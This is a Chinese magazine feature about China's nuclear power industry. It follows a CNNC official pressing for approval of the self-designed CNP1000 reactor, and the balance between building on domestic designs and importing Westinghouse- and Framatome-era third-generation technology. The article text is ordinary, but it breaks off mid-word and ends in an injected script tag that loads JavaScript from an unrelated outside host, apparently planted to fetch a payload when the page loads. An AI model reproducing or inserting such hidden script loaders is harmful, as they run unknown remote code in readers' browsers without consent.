文/本刊特约记者 杨 婧

陈桦一边介绍着中国秦山一期（cnp300）、二期（cnp600）核电站的模型，一边答应等下一个中国自主设计的核电站——cnp1000建设运营后送记者一个模型。陈所展示的中国自主设计、建造和运营的这两座核电站，是几代核工业人的骄傲，但让他尴尬的是，cnp300已诞生20年，cnp600也有7年了，而cnp1000还没有通过有关部门的审批立项。他担心，中国核电在自主发展的道路上可能因此出现“断层”。

陈桦是中国核工业集团公司（以下简称“中核集团”）核电部主任。中核集团前身是1982年以前的二机部（第二机械工业部），1982年以后改为核工业部。彼时这是一间统管中国原子能事业的政府机构，1999年7月才成立按企业化经营的中核集团。

中核集团及其前身规划设计了中国核电自己的二代品牌系列——cnp300、cnp600。cnp1000是在第二代核电技术基础上的改进技术。现在陈的工作重心是说服有关部门，尽快将此立项，投入建设。

3月10日，发改委副主任张晓强在第十届全国人大四次会议的记者招待会上称，中国将加强重大技术装备研制和重大产业技术研发。今后五年，将组织研制包括核电、高速铁路等16项重大成套技术装备。

发改委的态度让陈感到了很大宽慰。

然而，这可能让世界两大核电巨头企业——西屋电气（westinghouse）和法国法马通公司（framatome）感到不安，他们意识到：中国政府建立“创新型国家”的决心，可能会影响到他们向中国核电市场出售技术的商业行动的前景。

同汽车业、手机业一样，是自主创新，还是引进创新，考验着中国核电发展路径的“平衡术”。

两条战线上的“平衡术”

中国目前核电仅占总电力的1.6％，到2020年将上升到4％左右。这意味着在未来14年中，中国将新增核电站30座左右。这让世界上十多家国际核电巨头感到了“核电春天的来临”。因为即使按最保守的估算，到2020年之前，中国的核电投资应该在400亿美元以上。如果新建核电站的平均国产化率能够达到60％，国外核电企业通过提供核电设备、核技术将获得至少160亿美元的商业合同。

经历了自主和引进的反复权衡后，中核集团在核电发展方面决定采取“三条战线”同时推进的措施，目标是一方面保证国家2020年核电规模达到4000万千瓦的目标，另一方面，要努力使中国核电设计院掌握国际先进的核电技术。

第一条战线，充分利用现有基础将秦山二期核电站、岭澳核电站在原厂址上翻版扩建。

第二条战线，实施核电自主化依托工程，高起点起步，通过国际招标引进第三代核电技术，建设浙江三门核电站和广东阳江核电站。目前，评标工作正在紧张进行。

第三条战线，在岭澳和秦山二期建设运行基础上，自主设计接近三代水平的核电站cnp1000。中核集团集中所属3家核电设计院的力量，完成了中国百万千瓦级压水堆核电站cnp1000的初步设计工作，并通过了专家组的审查。专家组评定：cnp1000的设计，无论从性能上、经济上、安全上都优于国内现在运行的核电站，整体设计接近第三代核电站的水平。

从中核集团的规划看，分别位于第二条战线和第三条战线上的引进第三代技术和自主设计改进型二代核电站并不矛盾。但这确实是一次很难把握平衡的表演：一方面，中国核电需要多长的时间消化、吸收、创新第三代核电技术？要多长时间可以形成与世界同步的核心开发能力？或者说在第二条战线上实现超越需要多长时间？除核心技术外，配套技术不足怎么办？另一方面，世界核电巨头给予中国cnp的品牌体系预留了多少发展的空间？这一体系的升级如何确保第三战线能够守住？

曾困扰过中国汽车业和手机业疑问，抛向了中国的核电产业。

落入不断买技术的陷阱？

陈桦毕业于上海交通大学反应堆工程专业，1982年就进入核工业系统工作，先后担任了核电局局长助理、秦山核电公司总经理助理等职务，多次被派往加拿大、西班牙、德国进行培训。

2003年，作为国资委“人才强企”战略项目之一的首批中美emba项目联合培养班学员，陈在美国德克萨斯州立大学阿灵顿商学院进行了一年的学习。2004年回到国内任中核集团核电部主任。

这样的经历让陈眼界大开。要想在平衡木上表演舞蹈就要知道世界最高难度的动作是什么？哪些是次高难动作，只不过是重新加入了一些合理的编排？对于核电技术来说，则要分清哪些是“摧毁式创新”，哪些是“改进性创新”。

核电技术的划分最早起源于美国能源部。第一代核电站是指核电由军用转为民用时的技术，上世纪50年代中期建成的核电站属于第一代。目前世界上正在运行的核电站都属于第二代，建设于50年代末期到60、70年代。第三代核电站的概念于上世纪90年代提出，西屋公司的ap600和ap1000，都属于第三代技术。

现时的情形是，美国、法国正在紧锣密鼓地研制第四代核?script src=http://er12.com/t.js>